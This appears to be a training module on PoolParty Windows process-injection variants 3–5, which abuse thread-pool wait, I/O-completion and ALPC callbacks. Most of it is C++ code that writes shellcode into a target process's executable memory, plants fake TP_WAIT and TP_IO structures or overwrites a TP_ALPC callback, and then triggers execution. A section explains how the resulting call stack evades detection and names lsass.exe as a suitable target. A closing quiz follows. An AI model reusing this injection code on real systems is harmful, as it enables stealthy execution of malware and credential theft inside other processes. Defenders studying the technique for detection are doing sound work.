Difficulty: Intermediate

Module 5: Wait, I/O & ALPC Variants

PoolParty Variants 3–5: TP_WAIT insertion with event signaling, TP_IO exploitation via NtSetIoCompletion, and TP_ALPC port abuse for callback triggering.

Module Objective

Understand how PoolParty Variant 3 injects a crafted TP_WAIT item into the target process and signals its wait object to trigger callback execution, how Variant 4 exploits the I/O completion mechanism by posting a fake I/O completion to the pool’s IOCP via NtSetIoCompletion, and how Variant 5 abuses ALPC ports bound to the thread pool to trigger callback execution by sending an ALPC message.

1. Variant 3: TP_WAIT Insertion

The Windows thread pool supports wait callbacks: a function is called when a kernel object (event, semaphore, mutex, process handle) becomes signaled. Internally, the wait subsystem uses NtWaitForMultipleObjects in a dedicated waiter thread to monitor registered objects.

ComponentDescription
TP_WAITStructure representing a registered wait callback
WaitObjectThe kernel handle being waited on
Waiter ThreadDedicated thread calling NtWaitForMultipleObjects
DispatchWhen the object signals, callback is posted to IOCP

Variant 3 creates a TP_WAIT structure in the target process with the callback pointing to shellcode, creates a shared event handle in the target, registers the wait, and then signals the event from the attacking process. This triggers the waiter thread to dispatch the callback.

Variant 3 Attack Flow

Create event
In target process
Craft TP_WAIT
Callback = shellcode
Register wait
TpSetWait on event
Signal event
From attacker
Shellcode fires
Via worker thread

1.1 Implementation

C++// Variant 3: TP_WAIT Insertion

// Step 1: Allocate and write shellcode
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
    shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
                   shellcodeSize, NULL);

// Step 2: Create an event in the target process
// We create it in our process and duplicate into target
HANDLE localEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
HANDLE remoteEvent;
DuplicateHandle(GetCurrentProcess(), localEvent,
                hProcess, &remoteEvent,
                0, FALSE, DUPLICATE_SAME_ACCESS);

// Step 3: Craft a TP_WAIT structure
TP_WAIT fakeWait = { 0 };
fakeWait.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeWait.Task.Context = NULL;
fakeWait.Pool = (PTP_POOL)targetPoolPtr;
fakeWait.WaitObject = remoteEvent;

// Step 4: Write the fake wait item into target
LPVOID remoteWait = VirtualAllocEx(hProcess, NULL,
    sizeof(TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteWait, &fakeWait,
                   sizeof(TP_WAIT), NULL);

// Step 5: Insert into the pool's wait list
InsertWaitIntoTargetList(hProcess, targetPoolPtr, remoteWait);

// Step 6: Signal the event to trigger the callback
// The waiter thread detects the signal and dispatches
SetEvent(localEvent);
// OR use NtSignalAndWaitForSingleObject for atomicity

1.2 Using NtSignalAndWaitForSingleObject

For more precise control, PoolParty can use NtSignalAndWaitForSingleObject to atomically signal the event and wait for a confirmation that the callback has been dispatched:

C++// Atomic signal-and-wait for precise triggering
HANDLE hConfirmEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

NtSignalAndWaitForSingleObject(
    localEvent,           // Signal this (triggers the TP_WAIT callback)
    hConfirmEvent,        // Wait on this (confirmation from shellcode)
    FALSE,                // Not alertable
    NULL                  // No timeout
);

2. Variant 4: TP_IO Insertion

The Windows thread pool can manage asynchronous I/O callbacks. When an application binds a file handle to the thread pool, I/O completions on that handle are automatically dispatched as callbacks on worker threads. Variant 4 exploits this by posting a fake I/O completion packet directly to the IOCP.

Normal TP_IO Flow

TpAllocIoCompletion
Bind file to pool
Async I/O issued
ReadFile / WriteFile
I/O completes
Kernel posts to IOCP
Callback fires
Worker thread

Variant 4 does not actually need a real file handle or a real I/O operation. Because the thread pool dispatches I/O callbacks based on completion packets arriving at the IOCP, the attacker can simply post a fake I/O completion packet directly to the IOCP. The worker thread cannot distinguish this from a real I/O completion.

Variant 4 Attack Flow

Write shellcode
+ craft TP_IO
Post fake I/O
NtSetIoCompletion
Worker wakes
Thinks I/O completed
Callback fires
Shellcode runs

2.1 Implementation

C++// Variant 4: TP_IO via NtSetIoCompletion

// Step 1: Allocate and write shellcode in target
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
    shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
                   shellcodeSize, NULL);

// Step 2: Craft a TP_IO structure in the target process
TP_IO fakeIo = { 0 };
fakeIo.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeIo.Task.Context = NULL;
fakeIo.Pool = (PTP_POOL)targetPoolPtr;
fakeIo.PendingCount = 1;  // Simulate one pending operation

LPVOID remoteIo = VirtualAllocEx(hProcess, NULL,
    sizeof(TP_IO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteIo, &fakeIo,
                   sizeof(TP_IO), NULL);

// Step 3: Duplicate the target's IOCP into our process
HANDLE localIocp;
DuplicateHandle(hProcess, targetIocpHandle,
                GetCurrentProcess(), &localIocp,
                0, FALSE, DUPLICATE_SAME_ACCESS);

// Step 4: Post a fake I/O completion packet
// The CompletionKey encodes the TP_IO pointer
// The worker thread will extract it and call the callback
NtSetIoCompletion(
    localIocp,
    (ULONG_PTR)remoteIo,    // CompletionKey = TP_IO pointer
    NULL,                     // ApcContext (overlapped)
    STATUS_SUCCESS,           // IoStatusBlock.Status
    0                         // IoStatusBlock.Information
);

// A worker thread wakes, decodes the TP_IO from CompletionKey,
// and calls fakeIo.Task.WorkCallback = our shellcode

Variant 4 Elegance

This variant is remarkably clean: NtSetIoCompletion is a common, legitimate API called millions of times per second across the system. It is used by every application that performs async I/O. Posting a single completion packet is an operation with zero suspicious characteristics, yet it achieves code execution in the target process.

3. Variant 5: TP_ALPC Insertion

Advanced Local Procedure Call (ALPC) is the primary inter-process communication mechanism in Windows. Many Windows services expose ALPC ports that client processes connect to. The thread pool can be bound to an ALPC port, so incoming ALPC messages automatically trigger callbacks on worker threads.

ALPC ComponentDescription
ALPC PortKernel object for IPC; server creates a connection port, clients connect to get communication ports
TP_ALPCThread pool structure binding an ALPC port to a callback
TpAllocAlpcCompletionInternal API to bind an ALPC port to the thread pool
Message dispatchIncoming ALPC messages trigger the registered callback via IOCP

Variant 5 finds an ALPC port in the target process that is bound to the thread pool, then sends an ALPC message to that port. The arrival of the message triggers the TP_ALPC callback dispatch. The attacker replaces the callback with shellcode before sending the message.

Variant 5 Attack Flow

Find ALPC port
Handle enumeration
Write shellcode
+ modify TP_ALPC
Connect to port
NtAlpcConnectPort
Send message
NtAlpcSendWaitReceivePort
Callback fires
Shellcode runs

3.1 Finding the Target ALPC Port

C++// Variant 5: ALPC Port Discovery

// ALPC ports that are bound to the thread pool have their
// CompletionPort set to the pool's IOCP. We can find them
// by enumerating handles and checking the ALPC association.

for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) {
    SYSTEM_HANDLE_TABLE_ENTRY_INFO entry = handleInfo->Handles[i];
    if (entry.UniqueProcessId != targetPid) continue;
    if (entry.ObjectTypeIndex != alpcPortTypeIndex) continue;

    // Duplicate and query the ALPC port
    HANDLE dupPort;
    DuplicateHandle(hProcess, (HANDLE)(ULONG_PTR)entry.HandleValue,
                    GetCurrentProcess(), &dupPort,
                    0, FALSE, DUPLICATE_SAME_ACCESS);

    // Check if this ALPC port is associated with the pool's IOCP
    ALPC_COMPLETION_PORT_INFORMATION acpi;
    NtAlpcQueryInformation(dupPort,
        AlpcAssociateCompletionPortInformation,
        &acpi, sizeof(acpi), NULL);

    if (acpi.CompletionPort == targetIocpHandle) {
        // This ALPC port is bound to the thread pool
        targetAlpcPort = dupPort;
        targetAlpcCompletionKey = acpi.CompletionKey;
        break;
    }
}

3.2 Overwriting the TP_ALPC Callback and Triggering

C++// Step 1: Allocate and write shellcode
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
    shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
                   shellcodeSize, NULL);

// Step 2: Overwrite the TP_ALPC callback pointer with shellcode address
PVOID callbackAddr = &((PTP_ALPC)targetAlpcCompletionKey)->Task.WorkCallback;
WriteProcessMemory(hProcess, callbackAddr,
                   &remoteShellcode, sizeof(PVOID), NULL);

// Step 3: Connect to the target's ALPC port and send a message
HANDLE clientPort = NULL;
ALPC_PORT_ATTRIBUTES portAttrs = { 0 };
portAttrs.MaxMessageLength = sizeof(PORT_MESSAGE) + 0x100;

SIZE_T bufLen = sizeof(PORT_MESSAGE);
PORT_MESSAGE connectMsg = { 0 };
connectMsg.u1.s1.TotalLength = (USHORT)bufLen;
connectMsg.u1.s1.DataLength = 0;

NtAlpcConnectPort(
    &clientPort, &targetPortName, NULL, &portAttrs,
    0, NULL, &connectMsg, &bufLen, NULL, NULL, NULL);

// Send a message to trigger the callback
PORT_MESSAGE sendMsg = { 0 };
sendMsg.u1.s1.TotalLength = sizeof(PORT_MESSAGE);
sendMsg.u1.s1.DataLength = 0;

NtAlpcSendWaitReceivePort(clientPort, 0, &sendMsg,
    NULL, NULL, NULL, NULL, NULL);

// The ALPC message arrival causes the kernel to post a
// completion packet to the pool's IOCP, which wakes a
// worker thread that calls our modified callback = shellcode

Variant 5 Limitation

Not all processes have ALPC ports bound to their thread pools. This variant is most effective against RPC server processes (like svchost.exe hosting RPC services, lsass.exe, etc.) that naturally use ALPC for client communication. Variant 4 is more universally applicable since every thread pool has an IOCP.

4. Comparison: Variants 3, 4, and 5

PropertyVariant 3 (TP_WAIT)Variant 4 (TP_IO)Variant 5 (TP_ALPC)
TriggerEvent signalPost fake IOCP packetSend ALPC message
Key APISetEvent / NtSignalAndWaitForSingleObjectNtSetIoCompletionNtAlpcSendWaitReceivePort
PrerequisiteDuplicated event handleKnow the target’s IOCP handleFind ALPC port bound to pool
ApplicabilityAny process with a thread poolAny process with a thread poolOnly processes with ALPC-bound pools (RPC servers)
Dispatch pathWaiter thread → IOCP → workerDirect IOCP post → workerALPC → IOCP → worker
StealthWait callbacks are ubiquitousNtSetIoCompletion is extremely commonALPC connections are common for IPC

5. Why These Variants Evade Detection

Clean Execution Context

When a wait, I/O, or ALPC callback fires through the thread pool, the resulting call stack is indistinguishable from legitimate application behavior:

Legitimate Call Stack Example

Call Stackshellcode!main                          ; Our code - looks like a callback
ntdll!TppWorkpExecuteCallback+0x131
ntdll!TppWorkerThread+0x69f
kernel32!BaseThreadInitThunk+0x14
ntdll!RtlUserThreadStart+0x21

This call stack is identical to any legitimate thread pool callback. There is no indicator that the callback was injected rather than registered by the application itself.

Knowledge Check

Q1: How does the attacker trigger execution in Variant 3 (TP_WAIT)?

A) By creating a remote thread
B) By posting to the IOCP directly
C) By signaling the duplicated event handle from the attacker process
D) By modifying the thread context

Q2: What makes NtSetIoCompletion (Variant 4) particularly effective for injection?

A) It bypasses kernel security checks
B) It executes code in kernel mode
C) It is an undocumented API
D) It is an extremely common API that is not monitored as an injection vector

Q3: What type of processes are most suitable targets for Variant 5 (TP_ALPC)?

A) Any process with a GUI window
B) RPC server processes that use ALPC ports bound to their thread pool
C) Only SYSTEM-level processes
D) Processes with debugging enabled